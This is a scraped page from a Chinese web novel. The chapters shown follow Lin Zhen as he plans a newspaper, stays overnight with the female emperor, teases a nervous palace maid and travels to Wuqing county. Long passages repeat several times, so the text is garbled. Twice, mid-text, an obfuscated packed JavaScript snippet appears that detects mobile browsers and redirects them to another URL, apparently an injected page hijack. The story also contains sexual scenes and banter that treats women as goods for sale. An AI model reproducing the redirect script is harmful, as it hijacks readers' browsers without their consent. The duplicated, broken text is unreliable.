林臻翻个白眼:“你看人家德豪都要结婚了,你能不能也找个姑娘好好过日子啊?” “结婚?结婚有什么好的?内院成天吵吵闹闹得让人心烦,还不如现在呢。胖爷想什么时候发泄就什么时候发泄,想发泄在谁身上就发泄在谁身上。自由自在,多好啊。” “就算落实了你也别想,这几个女子可是值大价钱的,给你简直是浪费。” “不是,大哥,胖爷现在也算比较有家底的好不好?你给个亲情价,实在不行我跟德豪凑凑。” “噗。”林臻气急反笑,“这纨绔让你们俩当的。怎么?你上半宿,德豪下半宿?” 芦德豪赶紧摆摆手,“大哥你别听胖爷胡说八道,我现在可是要结婚的人!为了玲儿,我得守身如玉!” “好好好。”胖子连连摆手,“你守身可以,但钱就不能收了吧?贡献出来,等胖爷入土的时候还给你。” “你都入土了还怎么还给我啊?” “你去胖爷的棺材里挖啊。有胖爷的承诺,不算犯法!” “我去你大爷的!” 既能给予报社一定的官方地位,行事也有诸多便利。编辑者为九品闲职,没有实权。其余人员,暂且不设品级,凭本事各司其职,日后若有功劳,再论封赏。” “既如此,夫君不如在翰林院找一个。” “也好,晚点我会进宫找陛下商议此事。除了社长,你还需要找些文笔好的读书人,让他们来编撰内容。这些文人,须有洞察世事之能,将城中大小事、朝廷政令、民生百态如实记录,化作新闻,让百姓爱看、想看。 再找几名画师,在报纸上简单作画以搭配文字。同时大批木匠需即刻进驻报社,如今这活字印刷之术虽已有雏形,知晓运用的人却很少,得让木匠们尽快研习精通,打造活字印刷所需的一类器具,确保能顺利印出报纸。时间紧迫,不容有失。” “妾身明白,定会督促他们日夜赶工。”张俪心里清楚,这活字印刷乃是关键一环,关乎报纸能否顺利问世,绝不可掉链子。 但是她同样有所担心,面露一丝难色:“可是夫君,文人倒是好找,只是这活字印刷术妾身闻所未闻,恐怕不好做吧?” “这你无需担忧,我已经亲手教了几个木匠师傅,想来此刻正在钻研,他们会手把手教木匠干活,不出半月,应该能初见成效。” 张俪似是吃下一颗定心丸,呼出一口气说道:“太好了,要不还以为您要妾身自己去发明活字印刷术呢。” 此时,闫菲和闫苗再次进来,端着几盘点心。 闫菲笑语盈盈:“世子,老板,聊了这许久想必是饿了,尝尝后厨新做的点心。” 众人围坐,一边品尝点心,一边又商讨了些报社筹备的细节。 待诸事商定,林臻起身准备离去,他看向张俪,眼神中饱含深意:“俪儿,这报社一事,关乎重大,你肩上的担子不轻,可要多多费心。” 张俪起身,郑重行礼:“夫君放心,妾身定不负所托。” 从赌场出来,林臻思绪万千。 眼下要处理的事情实在是太多了,得一件一件办。 胖子在二楼赌了几局,输得一干二净,此刻嘬着牙花子地抱怨:“他奶奶的。翰林院大学士,当代大儒的儿子,最擅长的东西居然是赌场,这TM跟谁说理去呢?” 芦德豪也帮腔道:“谁说不是呢?那哥们把牌九玩得出神入化,咱俩坐庄出千都没赢过他。” 胖子看向林臻:“大哥,你上次说要把天道那几个小娘们当赌场招牌,造福劳苦大众。这么好的政策什么时候落实?胖爷等的心痒痒啊。” 林臻翻个白眼:“你看人家德豪都要结婚了,你能不能也找个姑娘好好过日子啊?” “结婚?结婚有什么好的?内院成天吵吵闹闹得让人心烦,还不如现在呢。胖爷想什么时候发泄就什么时候发泄,想发泄在谁身上就发泄在谁身上。自由自在,多好啊。” “就算落实了你也别想,这几个女子可是值大价钱的,给你简直是浪费。” “不是,大哥,胖爷现在也算比较有家底的好不好?你给个亲情价,实在不行我跟德豪凑凑。” “噗。”林臻气急反笑,“这纨绔让你们俩当的。怎么?你上半宿,德豪下半宿?” 芦德豪赶紧摆摆手,“大哥你别听胖爷胡说八道,我现在可是要结婚的人!为了玲儿,我得守身如玉!” “好好好。”胖子连连摆手,“你守身可以,但钱就不能收了吧?贡献出来,等胖爷入土的时候还给你。” “你都入土了还怎么还给我啊?” “你去胖爷的棺材里挖啊。有胖爷的承诺,不算犯法!” “我去你大爷的!” 既能给予报社一定的官方地位,行事也有诸多便利。编辑者为九品闲职,没有实权。其余人员,暂且不设品级,凭本事各司其职,日后若有功劳,再论封赏。” “既如此,夫君不如在翰林院找一个。” “也好,晚点我会进宫找陛下商议此事。除了社长,你还需要找些文笔好的读书人,让他们来编撰内容。这些文人,须有洞察世事之能,将城中大小事、朝廷政令、民生百态如实记录,化作新闻,让百姓爱看、想看。 再找几名画师,在报纸上简单作画以搭配文字。同时大批木匠需即刻进驻报社,如今这活字印刷之术虽已有雏形,知晓运用的人却很少,得让木匠们尽快研习精通,打造活字印刷所需的一类器具,确保能顺利印出报纸。时间紧迫,不容有失。” “妾身明白,定会督促他们日夜赶工。”张俪心里清楚,这活字印刷乃是关键一环,关乎报纸能否顺利问世,绝不可掉链子。 但是她同样有所担心,面露一丝难色:“可是夫君,文人倒是好找,只是这活字印刷术妾身闻所未闻,恐怕不好做吧?” “这你无需担忧,我已经亲手教了几个木匠师傅,想来此刻正在钻研,他们会手把手教木匠干活,不出半月,应该能初见成效。” 张俪似是吃下一颗定心丸,呼出一口气说道:“太好了,要不还以为您要妾身自己去发明活字印刷术呢。” 此时,闫菲和闫苗再次进来,端着几盘点心。 闫菲笑语盈盈:“世子,老板,聊了这许久想必是饿了,尝尝后厨新做的点心。” 众人围坐,一边品尝点心,一边又商讨了些报社筹备的细节。 待诸事商定,林臻起身准备离去,他看向张俪,眼神中饱含深意:“俪儿,这报社一事,关乎重大,你肩上的担子不轻,可要多多费心。” 张俪起身,郑重行礼:“夫君放心,妾身定不负所托。” 从赌场出来,林臻思绪万千。 眼下要处理的事情实在是太多了,得一件一件办。 胖子在二楼赌了几局,输得一干二净,此刻嘬着牙花子地抱怨:“他奶奶的。翰林院大学士,当代大儒的儿子,最擅长的东西居然是赌场,这TM跟谁说理去呢?” 芦德豪也帮腔道:“谁说不是呢?那哥们把牌九玩得出神入化,咱俩坐庄出千都没赢过他。” 胖子看向林臻:“大哥,你上次说要把天道那几个小娘们当赌场招牌,造福劳苦大众。这么好的政策什么时候落实?胖爷等的心痒痒啊。” 林臻翻个白眼:“你看人家德豪都要结婚了,你能不能也找个姑娘好好过日子啊?” “结婚?结婚有什么好的?内院成天吵吵闹闹得让人心烦,还不如现在呢。胖爷想什么时候发泄就什么时候发泄,想发泄在谁身上就发泄在谁身上。自由自在,多好啊。” “就算落实了你也别想,这几个女子可是值大价钱的,给你简直是浪费。” “不是,大哥,胖爷现在也算比较有家底的好不好?你给个亲情价,实在不行我跟德豪凑凑。” “噗。”林臻气急反笑,“这纨绔让你们俩当的。怎么?你上半宿,德豪下半宿?” 芦德豪赶紧摆摆手,“大哥你别听胖爷胡说八道,我现在可是要结婚的人!为了玲儿,我得守身如玉!” “好好好。”胖子连连摆手,“你守身可以,但钱就不能收了吧?贡献出来,等胖爷入土的时候还给你。” “你都入土了还怎么还给我啊?” “你去胖爷的棺材里挖啊。有胖爷的承诺,不算犯法!” “我去你大爷的!” 既能给予报社一定的官方地位,行事也有诸多便利。编辑者为九品闲职,没有实权。其余人员,暂且不设品级,凭本事各司其职,日后若有功劳,再论封赏。” “既如此,夫君不如在翰林院找一个。” “也好,晚点我会进宫找陛下商议此事。除了社长,你还需要找些文笔好的读书人,让他们来编撰内容。这些文人,须有洞察世事之能,将城中大小事、朝廷政令、民生百态如实记录,化作新闻,让百姓爱看、想看。 再找几名画师,在报纸上简单作画以搭配文字。同时大批木匠需即刻进驻报社,如今这活字印刷之术虽已有雏形,知晓运用的人却很少,得让木匠们尽快研习精通,打造活字印刷所需的一类器具,确保能顺利印出报纸。时间紧迫,不容有失。” “妾身明白,定会督促他们日夜赶工。”张俪心里清楚,这活字印刷乃是关键一环,关乎报纸能否顺利问世,绝不可掉链子。 但是她同样有所担心,面露一丝难色:“可是夫君,文人倒是好找,只是这活字印刷术妾身闻所未闻,恐怕不好做吧?” “这你无需担忧,我已经亲手教了几个木匠师傅,想来此刻正在钻研,他们会手把手教木匠干活,不出半月,应该能初见成效。” 张俪似是吃下一颗定心丸,呼出一口气说道:“太好了,要不还以为您要妾身自己去发明活字印刷术呢。” 此时,闫菲和闫苗再次进来,端着几盘点心。 闫菲笑语盈盈:“世子,老板,聊了这许久想必是饿了,尝尝后厨新做的点心。” 众人围坐,一边品尝点心,一边又商讨了些报社筹备的细节。 待诸事商定,林臻起身准备离去,他看向张俪,眼神中饱含深意:“俪儿,这报社一事,关乎重大,你肩上的担子不轻,可要多多费心。” 张俪起身,郑重行礼:“夫君放心,妾身定不负所托。” 从赌场出来,林臻思绪万千。 眼下要处理的事情实在是太多了,得一件一件办。 胖子在二楼赌了几局,输得一干二净,此刻嘬着牙花子地抱怨:“他奶奶的。翰林院大学士,当代大儒的儿子,最擅长的东西居然是赌场,这TM跟谁说理去呢?” 芦德豪也帮腔道:“谁说不是呢?那哥们把牌九玩得出神入化,咱俩坐庄出千都没赢过他。” 胖子看向林臻:“大哥,你上次说要把天道那几个小娘们当赌场招牌,造福劳苦大众。这么好的政策什么时候落实?胖爷等的心痒痒啊。” 林臻翻个白眼:“你看人家德豪都要结婚了,你能不能也找个姑娘好好过日子啊?” “结婚?结婚有什么好的?内院成天吵吵闹闹得让人心烦,还不如现在呢。胖爷想什么时候发泄就什么时候发泄,想发泄在谁身上就发泄在谁身上。自由自在,多好啊。” “就算落实了你也别想,这几个女子可是值大价钱的,给你简直是浪费。” “不是,大哥,胖爷现在也算比较有家底的好不好?你给个亲情价,实在不行我跟德豪凑凑。” “噗。”林臻气急反笑,“这纨绔让你们俩当的。怎么?你上半宿,德豪下半宿?” 芦德豪赶紧摆摆手,“大哥你别听胖爷胡说八道,我现在可是要结婚的人!为了玲儿,我得守身如玉!” “好好好。”胖子连连摆手,“你守身可以,但钱就不能收了吧?贡献出来,等胖爷入土的时候还给你。” “你都入土了还怎么还给我啊?” “你去胖爷的棺材里挖啊。有胖爷的承诺,不算犯法!” “我去你大爷的!” 既能给予报社一定的官方地位,行事也有诸多便利。编辑者为九品闲职,没有实权。其余人员,暂且不设品级,凭本事各司其职,日后若有功劳,再论封赏。” “既如此,夫君不如在翰林院找一个。” “也好,晚点我会进宫找陛下商议此事。除了社长,你还需要找些文笔好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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胖子看向林臻:“大哥,你上次说要把天道那几个小娘们当赌场招牌,造福劳苦大众。这么好的政策什么时候落实?胖爷等的心痒痒啊。” 林臻翻个白眼:“你看人家德豪都要结婚了,你能不能也找个姑娘好好过日子啊?” “结婚?结婚有什么好的?内院成天吵吵闹闹得让人心烦,还不如现在呢。胖爷想什么时候发泄就什么时候发泄,想发泄在谁身上就发泄在谁身上。自由自在,多好啊。” “就算落实了你也别想,这几个女子可是值大价钱的,给你简直是浪费。” “不是,大哥,胖爷现在也算比较有家底的好不好?你给个亲情价,实在不行我跟德豪凑凑。” “噗。”林臻气急反笑,“这纨绔让你们俩当的。怎么?你上半宿,德豪下半宿?” 芦德豪赶紧摆摆手,“大哥你别听胖爷胡说八道,我现在可是要结婚的人!为了玲儿,我得守身如玉!” “好好好。”胖子连连摆手,“你守身可以,但钱就不能收了吧?贡献出来,等胖爷入土的时候还给你。” “你都入土了还怎么还给我啊?” “你去胖爷的棺材里挖啊。有胖爷的承诺,不算犯法!” “我去你大爷的!” 既能给予报社一定的官方地位,行事也有诸多便利。编辑者为九品闲职,没有实权。其余人员,暂且不设品级,凭本事各司其职,日后若有功劳,再论封赏。” “既如此,夫君不如在翰林院找一个。” “也好,晚点我会进宫找陛下商议此事。除了社长,你还需要找些文笔好的读书人,让他们来编撰内容。这些文人,须有洞察世事之能,将城中大小事、朝廷政令、民生百态如实记录,化作新闻,让百姓爱看、想看。 再找几名画师,在报纸上简单作画以搭配文字。同时大批木匠需即刻进驻报社,如今这活字印刷之术虽已有雏形,知晓运用的人却很少,得让木匠们尽快研习精通,打造活字印刷所需的一类器具,确保能顺利印出报纸。时间紧迫,不容有失。” “妾身明白,定会督促他们日夜赶工。”张俪心里清楚,这活字印刷乃是关键一环,关乎报纸能否顺利问世,绝不可掉链子。 但是她同样有所担心,面露一丝难色:“可是夫君,文人倒是好找,只是这活字印刷术妾身闻所未闻,恐怕不好做吧?” “这你无需担忧,我已经亲手教了几个木匠师傅,想来此刻正在钻研,他们会手把手教木匠干活,不出半月,应该能初见成效。” 张俪似是吃下一颗定心丸,呼出一口气说道:“太好了,要不还以为您要妾身自己去发明活字印刷术呢。” 此时,闫菲和闫苗再次进来,端着几盘点心。 闫菲笑语盈盈:“世子,老板,聊了这许久想必是饿了,尝尝后厨新做的点心。” 众人围坐,一边品尝点心,一边又商讨了些报社筹备的细节。 待诸事商定,林臻起身准备离去,他看向张俪,眼神中饱含深意:“俪儿,这报社一事,关乎重大,你肩上的担子不轻,可要多多费心。” 张俪起身,郑重行礼:“夫君放心,妾身定不负所托。” 从赌场出来,林臻思绪万千。 眼下要处理的事情实在是太多了,得一件一件办。 胖子在二楼赌了几局,输得一干二净,此刻嘬着牙花子地抱怨:“他奶奶的。翰林院大学士,当代大儒的儿子,最擅长的东西居然是赌场,这TM跟谁说理去呢?” 芦德豪也帮腔道:“谁说不是呢?那哥们把牌九玩得出神入化,咱俩坐庄出千都没赢过他。” 胖子看向林臻:“大哥,你上次说要把天道那几个小娘们当赌场招牌,造福劳苦大众。这么好的政策什么时候落实?胖爷等的心痒痒啊。” 林臻翻个白眼:“你看人家德豪都要结婚了,你能不能也找个姑娘好好过日子啊?” “结婚?结婚有什么好的?内院成天吵吵闹闹得让人心烦,还不如现在呢。胖爷想什么时候发泄就什么时候发泄,想发泄在谁身上就发泄在谁身上。自由自在,多好啊。” “就算落实了你也别想,这几个女子可是值大价钱的,给你简直是浪费。” “不是,大哥,胖爷现在也算比较有家底的好不好?你给个亲情价,实在不行我跟德豪凑凑。” “噗。”林臻气急反笑,“这纨绔让你们俩当的。怎么?你上半宿,德豪下半宿?” 芦德豪赶紧摆摆手,“大哥你别听胖爷胡说八道,我现在可是要结婚的人!为了玲儿,我得守身如玉!” “好好好。”胖子连连摆手,“你守身可以,但钱就不能收了吧?贡献出来,等胖爷入土的时候还给你。” “你都入土了还怎么还给我啊?” “你去胖爷的棺材里挖啊。有胖爷的承诺,不算犯法!” “我去你大爷的!” 既能给予报社一定的官方地位,行事也有诸多便利。编辑者为九品闲职,没有实权。其余人员,暂且不设品级,凭本事各司其职,日后若有功劳,再论封赏。” “既如此,夫君不如在翰林院找一个。” “也好,晚点我会进宫找陛下商议此事。除了社长,你还需要找些文笔好的读书人,让他们来编撰内容。这些文人,须有洞察世事之能,将城中大小事、朝廷政令、民生百态如实记录,化作新闻,让百姓爱看、想看。 再找几名画师,在报纸上简单作画以搭配文字。同时大批木匠需即刻进驻报社,如今这活字印刷之术虽已有雏形,知晓运用的人却很少,得让木匠们尽快研习精通,打造活字印刷所需的一类器具,确保能顺利印出报纸。时间紧迫,不容有失。” “妾身明白,定会督促他们日夜赶工。”张俪心里清楚,这活字印刷乃是关键一环,关乎报纸能否顺利问世,绝不可掉链子。 但是她同样有所担心,面露一丝难色:“可是夫君,文人倒是好找,只是这活字印刷术妾身闻所未闻,恐怕不好做吧?” “这你无需担忧,我已经亲手教了几个木匠师傅,想来此刻正在钻研,他们会手把手教木匠干活,不出半月,应该能初见成效。” 张俪似是吃下一颗定心丸,呼出一口气说道:“太好了,要不还以为您要妾身自己去发明活字印刷术呢。” 此时,闫菲和闫苗再次进来,端着几盘点心。 闫菲笑语盈盈:“世子,老板,聊了这许久想必是饿了,尝尝后厨新做的点心。” 众人围坐,一边品尝点心,一边又商讨了些报社筹备的细节。 待诸事商定,林臻起身准备离去,他看向张俪,眼神中饱含深意:“俪儿,这报社一事,关乎重大,你肩上的担子不轻,可要多多费心。” 张俪起身,郑重行礼:“夫君放心,妾身定不负所托。” 从赌场出来,林臻思绪万千。 眼下要处理的事情实在是太多了,得一件一件办。 胖子在二楼赌了几局,输得一干二净,此刻嘬着牙花子地抱怨:“他奶奶的。翰林院大学士,当代大儒的儿子,最擅长的东西居然是赌场,这TM跟谁说理去呢?” 芦德豪也帮腔道:“谁说不是呢?那哥们把牌九玩得出神入化,咱俩坐庄出千都没赢过他。” 胖子看向林臻:“大哥,你上次说要把天道那几个小娘们当赌场招牌,造福劳苦大众。这么好的政策什么时候落实?胖爷等的心痒痒啊。” 林臻翻个白眼:“你看人家德豪都要结婚了,你能不能也找个姑娘好好过日子啊?” “结婚?结婚有什么好的?内院成天吵吵闹闹得让人心烦,还不如现在呢。胖爷想什么时候发泄就什么时候发泄,想发泄在谁身上就发泄在谁身上。自由自在,多好啊。” “就算落实了你也别想,这几个女子可是值大价钱的,给你简直是浪费。” “不是,大哥,胖爷现在也算比较有家底的好不好?你给个亲情价,实在不行我跟德豪凑凑。” “噗。”林臻气急反笑,“这纨绔让你们俩当的。怎么?你上半宿,德豪下半宿?” 芦德豪赶紧摆摆手,“大哥你别听胖爷胡说八道,我现在可是要结婚的人!为了玲儿,我得守身如玉!” “好好好。”胖子连连摆手,“你守身可以,但钱就不能收了吧?贡献出来,等胖爷入土的时候还给你。” “你都入土了还怎么还给我啊?” “你去胖爷的棺材里挖啊。有胖爷的承诺,不算犯法!” “我去你大爷的!” 第300章 不起床可是要挨罚的哦。 林臻带着兄弟们巡视了一圈赌场周围,给他们讲解了娱乐城的策划与精髓。 胖子十分开心,拍了拍自己的大肚腩。 “以后京城有的玩了呀! 芦德豪满心想的都是侯玲,对日后的顶级青楼、洗浴,歌舞场提不起一丝兴趣。 林臻抬眼看向身旁的胖子和芦德豪,微微扬了扬下巴,开口道:“你们俩今日自己去寻乐子吧,我这儿有要事,就不带你们同行了。 “大哥,你该不会是去皇宫吧?胖子顿时露出一阵猥琐的笑声,还伴随着顶胯的动作,“嘿嘿嘿,陛下可是女子,你这个时间进宫,该不会. 芦德豪也嘿嘿嘿地淫笑。 林臻没好气的一人赏了一脚:“滚蛋! 皇宫巍峨耸立,朱红的宫墙仿佛诉说着岁月的沧桑与权力的厚重。 议政殿内,女帝慕容嫣身着一袭明黄色龙袍,头戴凤冠,青丝如瀑般垂落双肩,端坐在那宽大的书桌前,手执朱笔,认真地批阅着一份份奏折。 夕阳透过雕花的窗棂,洒在她的身上,映出一圈淡淡的光晕,仿若仙子临世,却又因那身龙袍添了几分英气。 突然,殿门被人推开。 慕容嫣抬眸望去,见是林臻大步迈入,她立刻放下朱笔,将脸瞥向别处。 今日朝堂之上,她彻底暴露了女儿身。 这对她和整个朝堂而言,无异于一场惊涛骇浪。 那些官员们震惊、质疑、窃窃私语的模样还历历在目,而本该陪在她身边一同面对这一切的林臻,却不见踪影,她怎能不气? 林臻见她这副模样,却也不恼,稳步走到慕容嫣身旁。 “你还知道来? 林臻嘴角勾起一抹浅笑,也不顾及周围还有侍奉的太监宫女,径直在龙椅上坐下,一把将慕容嫣拽入怀中,让她坐在自己的大腿上,双手顺势环住她不盈一握的纤腰,将头埋进她的颈窝,深深吸了一口气,那清幽的发香让他心醉。 慕容无舌连看都不敢看,直接带人走了出去。 见四下无人,林臻胆子大了起来,单手覆盖在她无比无比宏伟的胸膛上,鼻尖闻着她发间清幽的香气,悠悠开口:“傻瓜,我不是有意冷落你的。 “去,放手! “不过是女儿身罢了,我相信你有足够的能力应付。 “那你也应该在朕身边的呀,你不知道,当朕说出女儿身的时候, 那些大臣看朕的脸色都变了!你不知道朕有多慌!” “傻瓜,你想想,这段时间你瞒天过海,以男子之身稳坐皇位,将朝政打理得井井有条。如今真相大白,往后你也无需再遮遮掩掩,大可轻轻松松地过日子,岂不美哉?”言罢也不知道林臻掐在了哪里,慕容嫣浑身像触电那般,心也跟着乱了节拍,彻底软在林臻怀里。心中那些委屈、气愤瞬间消散了大半。 她娇嗔地抬手捶了捶林臻的胸膛,抬眸,眼中波光流转,满是深情。 “你就会哄我。” 此刻,她真切地感受到了一种从未有过的畅快与自由,仿佛长久以来压在心头的巨石终于被移开。 林臻得寸进尺,一只手轻轻抚上慕容嫣的脸颊,大拇指摩挲着她娇嫩的肌肤,另一只手沿着她的脊背缓缓游走,将自己打算做报纸、控制舆论一事娓娓道来。 “如今朝堂局势初定,但民间议论纷纷,我们需有一个引导民意的法子。我想着,办报纸是个不错的主意,将朝廷的政令、大事刊载其上,也可宣扬你为百姓谋福祉的诸多举措,让民心安稳。” “你总是能想出这些奇奇怪怪的法子,罢了,全凭你做主就是了。” “嘿嘿嘿,我不仅有奇怪的法子,还有些奇怪的姿势,要不要试试看呀?” 慕容嫣怪嗔着一把将林臻作怪的手打开。 “别闹!这几天不方便呢,你若想,去后宫里随便挑一个。” 林臻倒不是非要把慕容嫣怎么样,他只是觉得应该陪陪这个辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032612|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女人。 在这么多妻妾当中,慕容嫣是最辛苦的,每天都要处理很多很多的事务,甚至她连小女人最起码的自由都没有,整日只能在深宫里待着。 “今天我哪也不去,就在这陪着你。” 慕容嫣还有几分好奇:“可是我” “我知道!所以我什么都不做,就抱着你。” “呸!男人的嘴,骗人的鬼!” 话是这么说,但慕容嫣没有丝毫拒绝的意思,甚至还有些感动。 林臻嘴角上扬,长臂一伸,将慕容嫣打横抱起,惹得她惊呼一声,双手下意识地环住林臻的脖颈。林臻抱着她,稳步向寝宫走去,路过的宫人皆垂首行礼,不敢直视这亲昵一幕。 寝宫内,那龙榻之上,锦被绣着繁复的花纹,散发着淡淡的龙涎香。 慕容嫣褪去繁重的朝服,换上一袭轻柔的睡裙,如丝的秀发随意披散在肩头。 林臻亦宽衣解带,刚躺上床,慕容嫣就像只慵懒的小猫般主动靠了过来,林臻顺势将她搂入怀中,手臂收紧,下巴抵在她的头顶。 “嫣儿。” “嗯”慕容嫣刚羞涩地点点头,就发现林臻的大手已经转移了方位,再次覆盖在自己的胸膛上。 “哎呀,不是说好不乱动的吗?” “我想它们了。” “我看你就是想它们俩,一点都不想我!” “胡说!我哪有?” “你明明就有!” 在欢笑与胡闹声中,两人相拥而眠,沉沉睡去。 第二天一早,慕容嫣便醒了,但是被子里很暖和不愿意起床,尤其是感受到林臻的火热,更是爱不释手。 “夫君,起床了呢。” “不起,再睡一会儿。嘶你干什么!” “嘻嘻,不起床可是要挨罚的哦。” 咕嘟,咕嘟。 林臻闭上眼睛,睡意全无,轻声说道:“为夫今天要去武清了,得赶紧把开发区办起来,哦嘶。” 第301章 平日里可有人这般与你亲近? 慕容嫣明显有化不舍为力量的打算,咕叽咕叽,突然似有所感,睫羽轻颤,缓缓睁眼,映入眼帘的是林臻深情的目光,不禁双颊绯红,嗔怪道:“就知道盯着我看。” 林臻低笑着摸了摸她的头:“看你千遍也不厌。” 言罢林臻低吼一声,慕容嫣闭目品尝,等彻底结束才趴在床边吐在痰盂里。 林臻笑着说道:“时辰不早,该上朝了。” 慕容嫣这才想起早朝之事,忙起身,一众宫女鱼贯而入,为首的便是麝月。 麝月生的眉清目秀,身姿纤细,眼眸仿若含着一汪春水,却又透着几分胆怯,恰似那娇柔的初绽花蕊,我见犹怜。 她双手交叠在身前,微微颤抖着,莲步轻移,走到慕容嫣身旁,轻声道:“陛下,奴婢伺候您梳洗。” 声音轻柔得如同微风拂过琴弦。 慕容嫣轻轻点头,走到梳妆台前坐下,麝月便拿起梳子,极其小心地为她梳理如瀑长发,每一下都轻柔缓慢,似在对待世间最珍贵的宝物,眼神专注而虔诚。 待慕容嫣穿戴整齐,妆容精致地离去上朝时,麝月才松了口气,转而面向林臻,脸颊飞起红晕,行礼道:“世子,奴婢伺候您梳洗。” 林臻嘴角挂着一抹玩味的笑,眼睛直勾勾地盯着麝月,故意逗她:“怎的,在我这儿这般紧张?伺候陛下时我瞧着你可淡定多了。” 麝月头垂得更低,几乎要埋进胸口,只露出一截白皙的脖颈,声音细若蚊蚋:“世子说笑了,陛下天威,奴婢自是不敢有差池,可世子.您与陛下亲近,奴婢怕伺候不周惹您不悦。” 说着,她拿起毛巾,轻轻浸湿,拧干后才敢缓缓靠近林臻。 当她靠近时,林臻却突然伸出手,握住她拿着毛巾的手腕,轻轻一拉,麝月一个踉跄,向前倾身,差点撞进林臻怀里。 “啊呀!” 她惊呼一声,胸脯急促地起伏着,脸蛋瞬间涨得通红,仿若春日里熟透的蜜桃。 林臻却仿若未觉,顺势将她拉近,另一只手轻轻抬起她的下巴,手指微微用力,迫使她与自己对视,嘴角勾起一抹坏笑:“小丫头,这么容易受惊?” 麝月的眼眸中满是惊慌与羞怯,慌乱地避开他的目光,长长的睫毛像受惊的蝶翼般不停颤动,想要挣脱手腕,却又不敢用力,嗫嚅道:“世子,您莫要打趣奴婢了。” 林臻却仿若没听到一般,不仅没松开手,反而将向前,两人的鼻尖几乎要触碰在一起,他温热的呼吸吹拂在麝月脸上,轻声道:“你 这小模样,倒是有趣得紧。” 麝月只觉脑袋“嗡”的一声,整个人都懵了,身子发软,若不是林臻还拽着她的手腕,怕是要瘫倒在地。 林臻看着她这般模样,心中涌起一丝别样的情愫,手上的力道又松了些,却仍未放开,反而轻轻摩挲着她的手腕,那细腻的触感如同羊脂玉般温润。 他微微歪头,似笑非笑地问:“小麝月,在这宫里许久了吧?平日里可有人这般与你亲近?” 麝月脸颊滚烫,慌乱地摇了摇头,连话都说不利索了,声音越来越小:“回回大人,奴婢进宫已有三年,一直谨小慎微,未曾未曾与人这般” 林臻嘴角上扬,眼中闪过一丝促狭,故意叹气道:“唉,如此佳人,怎的就这般被这宫墙束缚了性子,可惜,可惜。” 说着,他松开了麝月的手腕,手指却沿着她的手臂缓缓上移,轻轻挑起她垂落的一缕发丝,放在鼻尖轻嗅,眼神愈发深邃:“这发间的香气,倒是清新雅致,与你很是相配。” 麝月像是被施了定身法,僵在原地,眼眸中满是不知所措,只觉得心跳如雷,仿佛要冲破胸膛。 林臻见她如此,笑意更深,他倾身向前,几乎要贴在麝月耳边,低语道:“看在你伺候陛下用心的份上,往后若有难处,尽管来找我,嗯?” 温热的气息拂过麝月的耳畔,引得她脖颈处泛起一层细密的鸡皮疙瘩,她下意识地缩了缩脖子,慌乱点头:“是多谢世子。” 过了片刻,林臻才彻底松开手,靠在椅背上,好整以暇地看着她,眼神里依旧带着丝丝玩味:“还不快伺候着。” 麝月忙不迭点头,手指颤抖得愈发厉害,好不容易才稳住心神,为他擦拭脸颊。 手指不经意触碰到林臻的肌肤,她又像受惊的小鹿般迅速撤回,脸蛋更是红得仿若熟透的苹果,连耳垂都染上了绯色,滚烫滚烫的。 那娇羞的模样惹得林臻哈哈大笑。 一番梳洗后,林臻来到偏殿用早膳。 桌上摆满珍馐佳肴,精致的瓷盘盛着热气腾腾的点心,还有各类鲜美的粥品。 林臻坐下,随意夹起一块糕点放入口中,软糯香甜瞬间在味蕾散开。 到底是御膳房做的东西,就是比王府那胖厨娘做出来的好吃。 用餐毕,他起身,带着护卫径直回王府。 王府内,浣碧早已等候多时,见林臻归来,赶忙迎上前:“夫君,一切都准备好了。” 林臻颔首,带着浣碧坐上马车,直奔武清县而去。 一路疾驰,武清县的轮廓渐渐清晰。 入了县城,只见街道两旁屋舍错落有致,虽比不上京城的繁华奢靡,却也透着烟火气。 百姓们来来往往,大多身着粗布麻衣,颜色素净,补丁虽有却洗得干净整洁。 街边有几家小摊贩,吆喝着售卖自家的土产,有新鲜的蔬果,还有手工编织的竹篮等物。孩童们在街角嬉笑玩耍,追逐着一只破旧的风筝,欢笑声洒满街巷。 县令孙平早得消息,率着县衙一众官员候在城门口。 此人年约四十,面容清瘦,眼神透着几分精明与干练。 见林臻身影出现,他忙快步上前,躬身行礼:“下官孙平,率武清县衙众人恭迎世子莅临。” 身后官员们纷纷跪地,齐声高呼:“恭迎世子!” 声音在县城上空回荡,引得百姓们纷纷侧目,好奇这位京城来的贵客究竟是何身份,能让县令如此毕恭毕敬。 林臻跳下马车,抬手虚扶:“孙县令不必多礼,此番前来,不过是想看看这武清县的民生民情,劳烦带路。” 孙平连声称是,侧身引着林臻往城内走去,一路上介绍着武清县的赋税、农桑、商贸等情况。 林臻时而点头,时而驻足观察,眼神中透着思索,似在谋划着什么。 一路疾驰,武清县的轮廓渐渐清晰。 入了县城,只见街道两旁屋舍错落有致,虽比不上京城的繁华奢靡,却也透着烟火气。 百姓们来来往往,大多身着粗布麻衣,颜色素净,补丁虽有却洗得干净整洁。 街边有几家小摊贩,吆喝着售卖自家的土产,有新鲜的蔬果,还有手工编织的竹篮等物。孩童们在街角嬉笑玩耍,追逐着一只破旧的风筝,欢笑声洒满街巷。 县令孙平早得消息,率着县衙一众官员候在城门口。 此人年约四十,面容清瘦,眼神透着几分精明与干练。 见林臻身影出现,他忙快步上前,躬身行礼:“下官孙平,率武清县衙众人恭迎世子莅临。” 身后官员们纷纷跪地,齐声高呼:“恭迎世子!” 声音在县城上空回荡,引得百姓们纷纷侧目,好奇这位京城来的贵客究竟是何身份,能让县令如此毕恭毕敬。 